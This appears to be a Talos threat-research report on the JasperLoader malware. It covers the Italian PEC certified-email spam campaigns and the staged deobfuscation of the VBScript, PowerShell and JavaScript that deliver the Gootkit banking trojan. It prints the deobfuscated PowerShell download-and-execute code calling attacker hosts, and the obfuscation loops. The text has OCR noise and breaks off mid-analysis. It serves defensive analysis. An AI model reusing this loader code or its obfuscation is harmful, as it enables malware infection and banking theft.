JasperLoader Emerges, Targets Italy with Gootkit
Banking Trojan
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Introduction to JasperLoader

Malware loaders are playing an increasingly important role in malware distribution. They give
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adversaries the ability to gain an initial foothold on a system and are typically used to deliver
various malware payloads following successful compromise. These attacks are popping up
more frequently, as we covered in July with Smoke Loader and Brushaloader earlier this
year. Loaders allow attackers to decide which malware to drop based on how they feel they
can best monetize the access they gained. While malware loaders are commonly seen with

email-based threats, they have also been prevalent within the exploit kit landscape for years.

Recently, Cisco Talos observed an increase in loader activity being used to deliver various
malware to systems located in various European countries.

Specifically, we're tracking a loader known as "JasperLoader," which has been increasingly
active over the past few months and is currently being distributed via malicious spam

campaigns primarily targeting central European countries with a particular focus on Germany

and ltaly. JasperLoader employs a multi-stage infection process that features several
obfuscation techniques that make analysis more difficult. It appears that this loader was
designed with resiliency and flexibility in mind, as evidenced in later stages of the infection
process.

Over the past several months, we've seen several spam campaigns with signed emails
attempting to infect victims with JasperLoader and ultimately the Gootkit banking trojan.
Message signing makes use of certificates' verification to confirm the authenticity of the
person sending the email, as only those with access to the private keys should be able to

sign the message. Message signing is not the same as message encryption and is used only

to validate the identity of the message sender not to guarantee the confidentiality of the
message itself. Talos has identified several malicious campaigns making use of this type of
message signing as a way to lend credibility to their messages and maximize the likelihood
that potential victims will open the malicious attachments.

Malicious spam campaigns

As with many email-based threats, Talos observed multiple distinct campaigns being
leveraged to distribute JasperLoader. Each campaign featured various email templates and
downloader configurations. Each campaign was also relatively localized and featured
multiple languages specific to each of the countries that were being targeted. Most of the
campaign activity targeted European countries with a specific focus on Italy. However, we
have identified campaigns targeting countries outside of Europe. Below is an example of an
email associated with one of the campaigns targeting Germany.
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Guten Tag
Dia Angaben thres Einzahlungsschains fur die Rechnung Nr, 118504:

Freundliche Grusse

Figure 1: Example email (German)

The email is fairly basic and includes an attached ZIP archive. The subject line
"Zahlungserinnerung" roughly translates to "Payment Reminder," which is a theme consistent
with many of the malspam campaigns commonly observed in the wild. This particular
campaign leveraged a Visual Basic for Applications (VBS) script that was responsible for
initiating the JasperLoader infection process. We'll dive into the obfuscated script later. The
campaigns targeting Germany were some of the only ones that were observed using VBS
files to initiate the JasperLoader infection. Most of the attacks generally used DOCM files to
download JasperLoader, and ultimately Gootkit.

As previously mentioned, most of the JasperLoader campaign activity that has been
observed over the past few months has been targeting Italy. As can be seen in the
screenshot below, these emails are significantly different than those seen in the other
campaigns. Rather than containing a malicious file attachment, these emails purport that
they are notifications associated with the receipt of a "certified email" and contain an
attached EML file.

The threat actors distributing JasperLoader are leveraging a legitimate certified email service
called Posta Elettronica Certificata (PEC) to distribute these emails. This is a certified email
service related to legislation recently passed in Italy involving new requirements associated
with electronic invoicing that took effect at the beginning of 2019. This new legislation
requires ltalian businesses to use electronic invoicing to deliver invoices for both business-to-
business (B2B) and business-to-consumer (B2C) transactions. Attackers have recognized
that this is an attractive way to leverage an already trusted email service to maximize the
likelihood that they can convince potential victims to open their malicious emails.
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POSTA CERTIFICATA: invio sollecito n. 105543 del 27/03/2019

a

Signed By posta-certilicala@pecanuba.it
daticertoml| - |l—m postacert.eml (B5.1 KE)
xml File L Dutlook tem

Messaggio di posta certificata

Il giorno 27/03/2019 alle ore 14:05:51 (+0100) il messaggio
invio sollecito n. 105543 del 27/03/2019" & stato invialo da "cerepieralda@pec.it”
indirizzato a:

Il messaggio originale & incluso in allegato.
Identificativo messaggio: opec2891.20190327140551.09016.231.1.63@pec.aruba.it

Figure 2: Example "Certified" email

One of the requirements associated with this new legislation is that all electronic invoicing
emails must be signed and sent using a new platform called "Sistema di Interscambio (SDI).
Additionally, invoices should be sent using a specific XML-based format for consumption and
that format should be verified and its validity confirmed before being transmitted to the
recipient of the invoice.

As you can see, this particular campaign is leveraging this service, which allows them to
transmit messages that meet the requirements associated with this new legislation and
abuse the trust between potential victims and the certified email service.
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Digital Signature: Valid

=

Subject:  POSTA CERTIFICATA: invio sollecito n.105543 del 27/03/2

From Per conto diz cerepieralda@pecit
Signed posta-certificata@ pec.aruba.it

Q The digital signature on this message is Valid and Trusted.

For more information about the certificate used to digitally

|:|Warr| me about errors in digitally signed email before message open

sign the message, click Details.

Figure 3: Certificate details

The certificate itself is valid and associated with the PEC certified email service that was
described above. Using the PEC certified email service, organizations are allowed to send
attachments of up to 30MB to recipients. Posta Elettronica Certificata (PEC) is currently
being widely used in Italy, Switzerland and Hong Kong and allows people to send registered
email messages. The idea behind this project is to allow anyone — whether living in the
country or not — to communicate through official channels, while allowing for the verification
of the authenticity of the message sender. This service enables the communication of official
business-related information without relying on physical mail services, facilitating faster real-

time communications.

Message Secunty Properties

R_/ { Subject: POSTA CERTIFICATA: invio sollecito n 105543 del 2703

Messages may contain encryption and digital signature layers. Each
digital signature layer may contain multiple signatures.

Securily Layers
Select a layer below to view its description.,

[Tl Subject: POSTA CERTIFICATA: invio solledto n.105543 del 27,03,/20

o [Fgilal Signature Layer
" Signern posta-certificata@pecaruba.t

i m k

Description:
DK: Signed message,

Click any of the Tollowing buttons 1o view mare information aboul or
make changes to the selected layer:

Edit Trust View Dretails Trust Certificate Authority..

‘Warn me about errors in digitally signed email.
Figure 4: Certificate properties

Details...
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The campaigns observed to be leveraging the PEC service contained emails that claim to be
notifications of the receipt of a "certified email message" and featured EML attachments. The
screenshot below shows what one of these EML attachments looks like when opened by
potential victims.
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netalinfissisnc@pec.it
invio sollecito n. 105543 del 27/03/2019

.

ﬂ We removed extra line breaks fram this message

) zett-f!.'.-: one_Elettronica_invie_copia_685718.zip
L Zip rile

In allegato copia del bonifico effettuato in data odierna =i richiede copia conforme della fattura opgetta del sollecito in=quanto non i #¥
pervenuta distinti saluti codice utenza 34=368318=0

Figure 5: Attached email message

As can be seen above, the attached EML files contain attached ZIP archives that hold
Microsoft Word DOCM files that reference the same invoice as the emails to which they were
attached. The DOCM files contain malicious embedded VBA macros that initiate the
JasperlLoader infection process. The metadata associated with the DOCM files used across
many of the campaigns have been observed containing the string value "VPS2day" in
several of the metadata fields.

f "fu | J ¢ Fatturazione_Elettronica__invio_copia_ 685718
Organize « Include in library ~ Share with = Mew folder
Mame Date modified

i Favorites

Bl Deskiop ﬂ_ﬁ Fatturazione_Elettronica__invio_copia_ 940122.docm 372772019 9:21 AM
@ Downloads
=] Recent Places

i OneDrive

= Libraries
Figure 6: ZIP attachment contents
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Figure 7: Document properties

Talos identified multiple unique malicious DOCM files associated with JasperLoader
campaigns taking place over the course of several weeks. An example search for files with
metadata containing the string "VPS2day" resulted in 167 unique files in VirusTotal.

metadata:"VPS2day"

[] FILES 167

1710f3137c80d176191ea7305c67e142409db54 3985305473527 35d75523beTe

[

docx create-ole MACIos obfuscated run-file

Figure 8: Metadata search results

In addition to the campaigns using malicious DOCM files to distribute JasperLoader, we also
observed messages containing malicious JS downloaders. There were also some campaigns
that featured legitimate and malicious file attachments. For example, some of the observed
campaigns included ZIP files containing JS and XML files and benign PDF invoices. In
several of the campaigns, some of the files were improperly named. For example, the XML
files were .XM instead of .XML and the PDF invoices were .PF instead of .PDF.
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Subtle changes like this can be surprisingly effective when attempting to convince potential
victims to open file attachments. Talos also observed campaigns that leveraged PDF
attachments that contained no file extension whatsoever. Investigating the PEC certified
email service, we identified that this service is being widely abused by threat actors for a
variety of malicious purposes dating back to the beginning of 2019 when the legislative
requirements took effect.

One other interesting aspect of this campaign was its utilization of Domain Shadowing, a
technique Cisco Talos discovered, which was pioneered by exploit kit users back in 2015.
This technique allows the adversary to host malicious content on subdomains associated
with legitimate domains. This is typically achieved through abuse of the registrant account,
allowing for the creation of subdomains pointing to adversary-owned infrastructure.

JasperLoader details

Microsoft Word documents were attached to several of these malicious emails. When
opened, these documents displayed this decoy image:

B e S
n HOME | [MSERT  DESEM  PAGELAVOUT  FEFERENCES  MALINGS  REVIEW  WIEW
o, ¥ L. & B f i Find -
. Tar = [V — S~ 8 iy .
Calibn 11 A A A > | = = - =7 1] asBbCeD: | eadbCoDe AgBhCr AasBbCl =
LS M Repluce
Faite o B I U -aox x I A= : - & . [F TMormal | THo Spac lepdingl  Headmg? = Sl
Clipboard & Font & Faragraph [ tyle w  Lditing -

I Office 365

Questo file & stato creato Con una versione precedente

di Microsoft Office 365

Per vizualizare il contenuta & necessario fare click sul pulsante
“Abilita modifiche", situato sulla barra gialla in alto, & poi
cliccare su “Abilita contenuto”

LE LOF 1 VISR

Figure 9: Example of a malicious Word document

The message displayed in the image is in Italian, and translates to:
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This file was created with a prior Microsoft Office 365 version. To view the contents you need
to click on the "Enable modifications" button, located on the yellow bar at the top, and then
click on "Enable content.”

JasperLoader Stage 1

The Microsoft Word documents contain malicious macros that execute JasperLoader and
start the infection process. Using the Python oletools package, we can further analyze the
macro execution and determine how the infection process takes place.

Figure 10: Analysis results using oletools

As displayed in the screenshot above, oletools detects the presence of the VBA macros
embedded within the Word document. The macro is configured to execute when the Word
document is opened and is responsible for executing the commands to initiate the infection.
The presence of "Chr" within the VBA macros may indicate that the macros have been
obfuscated, which we will walk through to provide an example of the process analysts can
take to analyze these types of malware loaders.

In addition to the use of Microsoft Word documents, Talos also observed the use of ZIP
archives that directly contain VBS downloaders. The infection process is the same in both
cases. While the obfuscation differs slightly between the two types of campaigns, the
approach is very similar. We will walk through the infection process using the VBS with the
following hash (SHA256):
dc78dbd42216fdb64c1e40c6f7a2fad92921f70c40446d62eb1873d6b77ee04c.

As previously reported by oletools, the macros have been obfuscated to make static analysis
more difficult. The macros define a variable and then an array containing a large number of
elements.
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Figure 11: Obfuscated VBScript array

At the end of the script, the following code is responsible for performing a mathematical
operation on all of the numbers in the array, reconstructing it into code that can be executed,
and then executing it to continue the infection process:
"388Y . 382" M3IB9M, "3T3N NI T SO TSR RS TS O N e B
b = nmun
dl = 267
For Each x In a

IT Len(x) then

b=Db+ Chr( x -,dl )

End If

Next

Execute b
Figure 12: VBScript array reconstruction

The value assigned to the variable d1 is 267. To identify what is actually going to be
executed, we can subtract 267 from each of the numbers present in the array and convert
the resulting value into the corresponding VBScript character using a conversion table similar
to the one available here.

Once we have replaced the array values with the correct VBScript character value, we can
see that the VBScript is responsible for executing PowerShell commands. However, there
are still a lot of artifacts from the VBScript obfuscation present, which makes additional
analysis difficult. Talos has observed that the value used for the subtraction changes
frequently across samples, but that the logic remains the same.
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Figure 13: Converted VBScript character values
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The next step is to remove all of the unnecessary characters that were part of the VBScript
obfuscation to recreate the VBScript, as well as the PowerShell associated with this stage of
the infection. Once we have removed these extra characters, we are left with the following

partially obfuscated code:

CreateObject(“WScript.5hell™).Run[space] “powershell[space]if([space](Get-UICulture).Name[space]-match[

space ] "RU|UVA|BY |CN" }{[space ]exit; [space]}; $izwjed[space]=[space] [System.I0.Path] : : GetTempPath{ ) ; $exyszjx[
space]-] space]Join-Path[space |$izwied[

space] "AdobedR. exe " :xuy]fe="http: //cloud. diminishedvaluecallfornia. com /501 Y dwgvhge " : Saxctdct[ space]=[space]
Jodin-Path[space |fizwjed[space] "Searchl32. s ; Fsywwjy="http:  /cdn.zaczvk.pl/

loadercrypt 823EFBAR18513A4071485C36DDADACCS . php?vid=" ;$Ffybte[space |=[space]loin-Path[space]$izwjed]

space] "illustrations5543.png " ; Sudwhfw="https: / /. telekom. de/resources fimages 138468 /e55-illustrations -VB86-Mein
eErsteRechnung-FN-5S6. png " : $ccijdo=" (NEayBRVWew -ObGayBRVR] GayBRVWeEayBRVWCc tEayBRUW[ space |Net . WeblEayBRVEL ient ) 5ayB
RVW. DoGayBRVibm 16ayERVioGay BRVEadGayBRVWF G ayBRVWA Le ( GayBRVWE sywwEay BRVIWjy , BayBRVWEaxctdctbayBRWW) ; * [ space ] -replac
e[space] "6ayBRVH" , " *;iex[space]fccjjdc;S5tart-Process|

space |$axctdct; $tjfgy="(NuVRWRUtew-OuVRWRutbuVRWRuT jecuVRWRutt[ space]

Net . uVRWRutWebl11 ent ) . uVRERUt DouVRWRUtwn loauVRWRUtdF 11 euVRWR Ut { SuVRWR Ut uduVRWRU twhfu , $FfuVRWRUtybte )

uVRWRUE; " [space]-replace[space] "uVRWRUL ', " ;lex[space]$t]fgy;Start-Process|

space |§fybte; fyuzrfyb="{NoxrQCRvebxn(l Rv-0bexzQCRv ExIQCRve QCRvt[ space JNebxzQCRVE . 6xrQCRviNebexTQCRvClient) . Do
wnloadFExz(CRvile($xuyjfex-QChve, $ xysbxzQCRvzjx}6xz0CRv; ' [space] -replace[space] " 6xzQCRv ", ° *;iex|

space |$yuzfyb; Start-Process [space | $exy ;" [space]@™)

Figure 14: Partially obfuscated script

Several string values have been inserted into the PowerShell that the VBScript will execute
in order to avoid string-based detection and make much of the PowerShell unreadable. A
closer look at the portion of the PowerShell instructions that haven't been obfuscated show
that during the execution process, -replace will be used to remove these extra string values
to allow for the reconstruction of the obfuscated Powershell. Examples of this operation can
be seen in the below syntax:

-replace '6ayBRvW',"";
-replace 'uVRWRut',"";
-replace '6xzQCRv',"";

This code instructs the system to replace these three string values throughout the script with
nothing, effectively removing them and allowing the Powershell code to properly execute.

Manually removing all references to these three strings results in the following:
CreateObject{“WScript.Shell™).Run “powershell if( (Get-UICulture).Name -match “RU|UA|BY|CN®){ exit; };$izwied = [
System.I0.Path] : : GetTempPath() ;$exyszjx = Join-Path $izwjed

'AdobeAR . exe " ; $xuyjfc="http: f/cloud.diminishedvaluecalifornia. com /581 Pdwgvhge ® ; $axctdct = Join-Path $izwjed
'EeaﬂchIHE.?s':Ssyuujy-'http:;jcdn.:ac:uk.plf1nadEﬁ¢ﬂypt_EJ3EFE&EIBEIEﬁdGTIASEEEEDDnDdEC3_php?uid-';ifyhte -
Join-Path $izwjed ‘illustrations5543.png";fudwhfw="https:/ /www.telekom.de/resources/

images /130468 /e55-i11lustrations-Vees -MeineErsteRechnung-FN-S6. png " ; $ccjjdc=" (Mew-Object
Net.WebClient) . DownloadFile(fsyww]jy, faxctdct);* lex $ocjjdc;Start-Process faxctdct;$tifgy="(New-Object
Net.WebClient) .DownloadFile($udwhiw, $Tybte); " hex $tifgy;Start-Process $fybte;fyuzfyb="(New-Object
Wet.WebClient) .DownloadFile($xuyjfc, fexyszix);" iex Fyuzfyb;Start-Process JSexys ]

Figure 15: Deobfuscated Stage 1 Powershell

This script performs the following operations:
Calls WScript and uses it to execute PowerShell.

PowerShell is used to invoke the Get-UlCulture cmdlet to identify the language set
used on the system.
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If the language set is associated with one of the following countries, the infection
process terminates:

o Russia
o Ukraine
o Belarus
o The People's Republic of China

Downloads additional data from the following URLSs:

hxxp://cdn[.]Jzaczvk[.]pl/loadercrypt 823EF8A810513A4071485C36DDAD4CC3.php?
vid=

hxxps://www[.]telekom[.]de/resources/images/130468/eSS-illustrations-V006-
MeineErsteRechnung-FN-SG.png

hxxp://cloud[.]diminishedvaluecalifornia[.Jcom/501?dwgvhgc

The data downloaded from the aforementioned URLs is saved to the following file
location, respectively:

o % TEMP%\SearchlE32.js
o % TEMP%!\illustrations5543.png
o % TEMP%\AdobeAR.exe

Executes the downloaded files, continuing the infection process.

The infection process then continues with the execution of the contents that were retrieved
from the attacker's distribution servers.

JasperLoader Stage 2

As previously mentioned, the PowerShell executed in Stage 1 is responsible for reaching out
to three distinct URLs used to retrieve and execute content on infected systems. The first
URL that is defined is: hxxp://cloud[.]Jdiminishedvaluecalifornia[.Jcom/501?dwgvhgc.

The malware loader initiates an HTTP GET request for contents hosted at the
aforementioned URL and returns a numerical value from the attacker-controlled server. Note
that the code is present within the Content Body of the HTTP Server Response:
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GET /5@17dwgvhgc HTTP/1.1
Host: cloud.diminishedvaluecalifornia.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 25 Mar 2019 14:32:14 GMT

Server: Apache/2.2.15 (Cent0S)
Last-Modified: Tue, 22 Jan 2019 16:31:28 GMT
ETag: "9f688-4-5800e82560818"

Accept-Ranges: bytes

Content-Length: 4

Connection: close

Content-Type: text/html; charset=UTF-8

200

Figure 16: Example HTTP GET request

As defined by the Powershell instructions in Stage 1, the returned content is then saved to

%TEMP%\AdobeAR .exe.

In addition to the value "500" that is returned to the client, Talos has also observed additional
codes being returned such as "404," "408," etc. In all of the cases Talos observed, the HTTP

Response Code remains 200 OK, but the code present in the Content Body varies.

The malware loader also reaches out to the attacker's server at

hxxp://cdn[.]JzaczvkK[.]pl/loadercrypt_ 823EF8A810513A4071485C36DDAD4CC3.php?vid=.

Following an HTTP GET request by the malware loader, the malicious server responds by

sending back an HTTP response that contains obfuscated JavaScript:

13/27


https://1.bp.blogspot.com/-eIP1Pfjfflw/XMGiefHKgDI/AAAAAAAABGc/NMlXOGW9MOAFzLvakVa6ZcvbBWvJoOXkACLcBGAs/s1600/image17.png

GET /loadercrypt_823EFBA810513A4071485C36DDADACC3.php?vid= HTTP/1.1
Host: cdn.zaczvk.pl
Connection: Keep-Alive

HTTP/1.1 288 0K

Server: nginx/1.14.2

Date: Mon, 25 Mar 2019 13:31:27 GMT
Content-Type: text/html; charset=UTF-8&
Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.16

fiuyc = " ";

¥xfhjixjsytvxjyuvcaxhfehv = new Array();
xfbjixjsytvxjyuvcaxhfehv.push("i95BtfTT");
xfbjixjsytvxjyuvcaxhfehv.push("C(");
¥xfbjixjsytvxjyuvcaxhfehv.push("wVC3Ea");
xfbjixjsytvxjyuvcaxhfehv.push("93v6x46z");
xfbjixjsytvxjyuvcaxhfehv.push("9E7txtA6tRS3>Sz5t4w" ) ;
xfbjixjsytvxjyuvcaxhfehv.push({"Bv9");
xfbjixjsytvxjyuvcaxhfehv.push("xta7");
xfbjixjsytvxjyuvcaxhfehv.push("49");
Figure 17: Stage 2 obfuscated JavaScript

As defined in Stage 1, the contents of the returned JavaScript are saved to the
%TEMP%\SearchlE32.js and executed. The contents have been obfuscated to make
analysis more difficult. Similar to what was seen with the VBScript obfuscation in the previous
stage of the infection, the code defines an array, and then uses push() to create the string of
obfuscated data. JavaScript code at the end of the returned content is responsible for

reassembling, deobfuscating, and then using eval() to execute the JavaScript.

xFbjixjsytvxiyuveaxhfehv. push("8TjxB26d7SwAN"ZAVC 3t9E 57R");
xfhjixjsytvxjyuvcaxhfehv. push{" TatR");

var a = 12757 - 344 - ¥¥3T7 - 4671;

'lllla.r b = Illﬂl‘:
eval("zijsyxhdgegzhjuguayeedc=aijsyxhdgegzhjuguayeedc” . replace(/(1ijsyxhdgegzhjuguayeedc )+/g1,""));
var ¢ = xfbjixjsytvxjyuvcaxhfehw. join{fiuyc).split{"");

for({ var x = 8; x < ¢.length; x++){

if{ z = 18668 - 7168 - B354 - 3141 }{
b += c[x];
a = 8;

1

a

eval ("zijsyxhdgegzhjuguayeedc=aijsyxhdgegzhjuguayeedc” .replace(/{1jsyxhdgegzhjuguayeedc)+/gi, ""));
¥
evall{ b };

Figure 18: JavaScript execution functionality

The good news with JavaScript obfuscation is that, typically, the code deobfuscates itself
prior to execution. Rather than attempt to manually deobfuscate the JavaScript, we can rely
on this behavior to have the code deobfuscate itself automatically. In order to more efficiently
deobfuscate and analyze the malicious JavaScript, we can use an analysis tool like Malzilla.

14/27


https://4.bp.blogspot.com/-yPnVyJKhUXw/XMGimW922eI/AAAAAAAABGg/BUJEsWTLBLYPbPYyBP0w00BfwKEnv0y_ACLcBGAs/s1600/image26.png
https://2.bp.blogspot.com/-Dqfka8ArE_c/XMGizZYP59I/AAAAAAAABGo/E7qTyfGBf2oU1CNz84vPGdCcJ2se32zTACLcBGAs/s1600/image41.png
http://malzilla.sourceforge.net/

Donnlnad  Decoder | Msc Decoders | Kabmero Processor | Shelcnde analyzer | Log | Clpbaard Monstr | Mates | Hex wew | Pt | Took | Setings | about |
M Tab (1] |

lfi uys = = =g -
xfbjixjaycvejyaveaxhfshy = mew Array():

xfb]ix]isycvxjyuavcaxhfehv.push|{"155BTETII"} 7

xfbjixisytvrjyavcaxhfehy . push{*C (%) 7

=fb] ixjsyrvejyavecaxhfahv , puah ("WWCSEa™) ;

xfb]ixjsycvrjyuvecaxhfehw . push (T92VEx4 62"} ;

xfbjixjsytvxjyavcaxhfehy . push |"SEToxtAGtRSI>SzStdw™) 5

zfbj ixjsyrvxjyaveaxhfehr, push ("Eva¥) ;

xib] ixjayrve]yuvcaxhfehv . puak ("xcaT™} ;
xfb] ix]syTvr]jyavoaxhfsahy  push |{"497) 7

xfb] ixj=ytvajyavocaxhfehy, push (*ORATRE 8"} ;
xfb]ix] ayTve]yaveaxhfehv . push ("Q) 27) ;

xfh] ix]syTvrjyuvcaxhfehy . push (TET) ¢

xfb] ix]sytvaiyovcaxhfehy . push (* {vhot } EERD; BvRTtC2 SerEBVENE=) ;
z=fbjixj=yrvxjyavcaxhfehv, push ("x (6yWHE AQwTaSvCEeaWuiel®)

xfh] ix]ayrve]yuvcaxhfehv . puah (" TETHUNELSZ™ ) -
xfh]ix]syTvE]jyavcaxhfahy  push |®7)

z#fbjixi=vivxiyavecaxhfehr . push {"mavEESeaSDBoSBRTu V") &

it % e e e . e £ T [
Pamsait | " Reglsce evalQwith foda Find — Terplates | wide 20052 |

™ Override evall) [T Case penstive
LI " Leawe a5 is I~ Do nat bather me with messanes Sebection kg 0 {0) ES L | w.h'ﬁmm]

Figure 19: Malzilla decoder tab

Malzilla will deobfuscate the JavaScript and display it in the lower pane. In the case of

JasperlLoader, this results in another script containing a partially obfuscated set of

PowerShell instructions that defines how the malware will continue the infection process.
B serigt C Replace pal(with fola 00000 Fie: [ Temglates | wide 2Ucsz |

T Cvemde svall) [T Case sereitive
Debug Farmak code Show e} results
—J & Leave asis [T D nat bother me with mestages Seinction lengthe O {0 ] i ]

1E{336TaX99706) { Froryf astTimeous [(functiom () §},; 8552) 7 tocatch [erTh{ ( new ActiveXGbject| =wscript.shell®™ } ) .Hun({"powersnell -
if| |Get-UICulture) ..Name -match "ROJOR|BY |CHY){ exit:; }:Sta=swhghadhibwugiy = [Syeten.I0,Path] : :GetTempPathi) ; Stfawcihy
= Join-Path Stasswhghadhjbvegiy "SearchT32 . cxo®:Suyixchbblzbxaai="hoop:/fedn . zacevk.pl
JeryprODdn2637FORTI097213D70ES4ESE330. php ! § §{difdboasvhvwaavgt fxude = Join-Fath $caszuhghadhijbwugiy °*SearchIZZ.qa®:
jfidaachggrtdi="hcop://odn. zaczvk. pl/loadercrypt_S23EFBAB10513A40714B5C3600ADMCCY . php ' § jWihbyjzvhwwzivzadiukar = °°;
Sfaszhabegubosgicdaibwiwe=" (BRI DNew—0b) BAGDxd DecAREgnalt HEAGOREDet , WEAGx i Dabl AEJxdDC L1 m BAEQxEDnT )
DEAEQ= 6 DodREQxE hvn SR QriDloadF EREGxADI Le { SERG0x6Duy i xBAG)mE 0t 8R6GxEDbbEERG (rbDeburai BRG(xED,
SCrawcERE0RED] BAGOREDNAREQREDIEAGORED) : ' ~replace "AREQHED', **:iex Saazhabegubesgicdajbwiwe:Bec-Content Stfawcihs | Whees
Object | 5_ macch Sregex] | ForEach-Chijecc [ §jwihbyizvhweziwzadiuxac += S_ replace *_.[(.)",.'S1'}rceyi{iex ~Command
$Iwihbyjzvhwwziwzadiuxaty jcatchi{ Start-Sleep -Seconds 1B0;fwsfdiweffvoe=' [XS5SzRAWSINew-xS5zRWII0bIxSzENII=ct
ASZEN9IHetxI e BWSE WS zAWSJebCx SRR 1 i EWal1ent ) R3IzBWS3 . xSzER I Do Sz ENSSvnload 2 EN 3 FAxSzAWS I L SzREW e (K3 EWES
ElidaathxSzRWidggrrdxxSzRW03, £1dx3zRR03 k92BN MdbxS s AWG I ceevb xS 2 AW I Svwaave Sz AW 0 3gx SRR O3 MM xx T e AWOSude) ;' ~replace
'HEZRES3" " riex Fwaldivelfveoe: Scart-Feooeas SFjdifdecasvhivwsavgifxude: ™, 11260 S030 757 SE4BF} 202
sbaghexyvtdtxhyoebjeuyodixvicujz="yyjythaeciscxgi jaxbligsuwtvavcav)yeljd™

Scrpt can't be compiled, but # produced evaluation results

Figure 20: Malzilla output

The returned script is partially obfuscated using the same method we encountered

previously. As we saw before, we simply need to remove the junk strings included throughout

the script to fully deobfuscate it. Once those strings are removed, we are left with a script that

looks similar to what we saw earlier, with a few changes included:
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if(33676>49786){};try{ setTimeout(function(}{},B8552); }catchierr}{{ new ActiveXDbject( “wscript.shell" }
). Run{“powershell if{ (Get-UICulture).Mame -match °RUJUA|BY|CN')}{ exit: }:Stasrwhghadhjbvugiy = [
System. I0.Path] : : GetTempPath( ) ; $tfaucihs = Jodn-Path $taszwhghadhibvugly

"Searchl32.txt " ; fuyixtbbfzbxsai="http:/fcdn.zaczvk.pl/

crypteDD102637FDBT1807 2130708 MERED30. php " ; $jdifdbcsevbjvwsavgffaude = Join-Path $taszwhghadhjbvugiy
"SearchI32.js’ ;ffidaathggttdx="http: /fcdn. zaczvk.pl/

loadercrypt_823EFBAR18513A4871485%C 3600 C3.php " ;$jwihbyjzvinwziwzadiuxat = * ° ;$aazhabegubcsgd cdafhwjwe=" (New-Object

Net.WebClient).DownloadFile($uyixtbbfzbxsal, $tfawcjhs); x %aszhabegubcsgicdajwiwc ;Get-Content $tfawcjhs |
Where-Object {$_ -match $regex} | ForEach-Object { $jwihbyjzvhwwziwzadiuxat += §_ -replace "..{.)}", $1"};try{iex
-Command $jwihbyjrvhwwziwzadiuxat: jcatch{ Start-Slesp -Seconds 188:fwsfdiweffyvte="New-Object
Het.WebClient).DownloadFile($fidaathggttdx:, $jdifdbesevbjvvsavgffoude) ;" lex fusfdiweffvte;Start-Process
$jdifdbcsevb]vwsavgffaude;}”, 11269 - 5838 - 757 - S5482);};
shaghemyvtdixhytebjeuycdixrftujz="yyjythaecFscxgijsxbiigsuwivevcsvjyeijd®

Figure 21: Stage 2 PowerShell deobfuscated

This script is responsible for performing the retrieval of the commands associated with the
next stage of the infection process. It performs the following actions:
Calls WScript and uses it to execute PowerShell.

PowerShell is used to invoke the Get-UlCulture cmdlet to identify the language set
used on the system.

If the language set is associated with one of the following countries, the infection
process terminates:

Russia
Ukraine
Belarus
The People's Republic of China

Downloads additional data from:
hxxp://cdn[.]Jzaczvk[.]pl/cryptODD1D2637FDB71097213D70B94E86930.php

Saves the downloaded contents to % TEMP%\SearchlE32.txt

Reads the contents of the downloaded file and performs a Regex based
replacement to deobfuscate it.

Executes the deobfuscated code to continue the infection process.

In addition to retrieving the data required to continue the infection process, the script also
implements a Sleep cmdlet for 180 seconds then attempts to retrieve the latest obfuscated
JavaScript that is hosted at the same URL that was referenced in Stage 1.

Start-Proces jdifdbes

Figure 22: Stage 2 — JavaScript retrieval
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This JavaScript is then executed again. This is a mechanism that can be used to ensure that
as the attackers modify the infection process, they can ensure that any previously infected
systems automatically retrieve the modifications and are updated accordingly. This
demonstrates an approach that ensures that this loader can be used repeatedly, potentially
to deliver different malware payloads over time.

As previously mentioned, the malware makes an HTTP GET request to the following URL to
obtain additional instructions from the attacker-controlled server:
hxxp://cdn[.]JzaczvK[.]pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php.

GET SoryptaDDlD2ed rFOBFI1ESFZLA0 BE34ENGE3d  php HTTRS1.1
Host: cdn,zaczvi.pl
Connection: Kesp-Alive

HTTP/L.1 2848 0K

g ; nginxsl.14.2

Man, 25 Mar 2019 13:32:328 GMT
t-Type: textshiml; charset=UTFE-8
rransTer-Encoding: chunked
Connection: keep-alive

K-Powerad-By: PHP/S.4.16

Thi iGETasLsLvl - gitdt ITacCazurnelactd Fwlvr S3ehy 326, irne jahgnTlewT ga-S9onelaubbwycbvhul Gw' cxflTUAS | Saluzixi | dulBvire: |
wd Alpigejvitctai;de zd4}ob
deartveifundynld yxCasrhesidaticdon

yvilryhkdjiavnsggfeleei2irddes2ositajos

B2 st BitiirTxy@r{a3

3w W8 dv da a3fvaSAihtxez3leil9a Sv=xt thNzyeTuwvs-Jgo0hThazjeyetvewtitogw gj-38CE3owfmailydbdcitdeifchdtaf fvBy  hTWddS8xchgrizivgpedige,

B4Sx jhtxeduliulje'zi)aj; vl

b3 x5 hs ux SuSiTSddhlicazrzutjeCiamvetd? wf=7c yhSyzSvfhgoexfliul 6. viCGvrazecjai?tsjot Taaanfiout rvgtgoweuvhtyf{ah 9i%hw] Tsnavkt3

Selbx; xi

Figure 23: Stage 3 retrieval

AT Thidocer4BesTedhu2i L jwi92 TgsldlTenzakdd, gj hassenidrodgloubsmyhel jnwdl2cshd, 52
rduyed helb7{2y

The obfuscated data that is returned by the server is then saved to
%TEMP%\SearchlE32.txt. The script then reads back the contents of this file and performs a
regex replacement operation to deobfuscate it so that it can be executed:

$jwrihby jzvhewewzadimat -

$aazhabegubcsgl cdad hurjuce
iex Saazhabegub

Get-Content $tfamcibs | Where-Object {§ -match Sregex} | ForEach-Dbject { $jwlhbyjzvhwwriscadivcst 4= §  -replace

jex ~Command $iwibbyioviewziwzadivaat;

Figure 24: Stage 3 deobfuscation instructions

In order to further analyze the infection process, we need to deobfuscate the contents that
were retrieved by the PowerShell. One way is to manually perform the same operation as the
PowerShell.

In the previous screenshot, the following line of PowerShell is responsible for deobfuscating
the code that was previously retrieved and adding it to the end of a variable assignment,
which is later executed:

Get-Content $tfawcihs | Where-Object {$_ -match $regex} | ForEach-Object { $jwihbyjzvieziwzadivzat += $_ -replace

i
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Figure 25: Stage 3 deobfuscation regex

As the SearchlE32.txt file is read back in, the -replace statement is responsible for removing

two of every three characters from the file to deobfuscate and reconstruct the PowerShell
commands to be executed. The operation looks like this:

The obfuscated code contains a lot of junk code:

0zig7fs9(y4 7b(i6G7aet5tvf-giudtIacC4zuxelactd7ubwr53ehy)26.izNejahgm7ilewf ga-
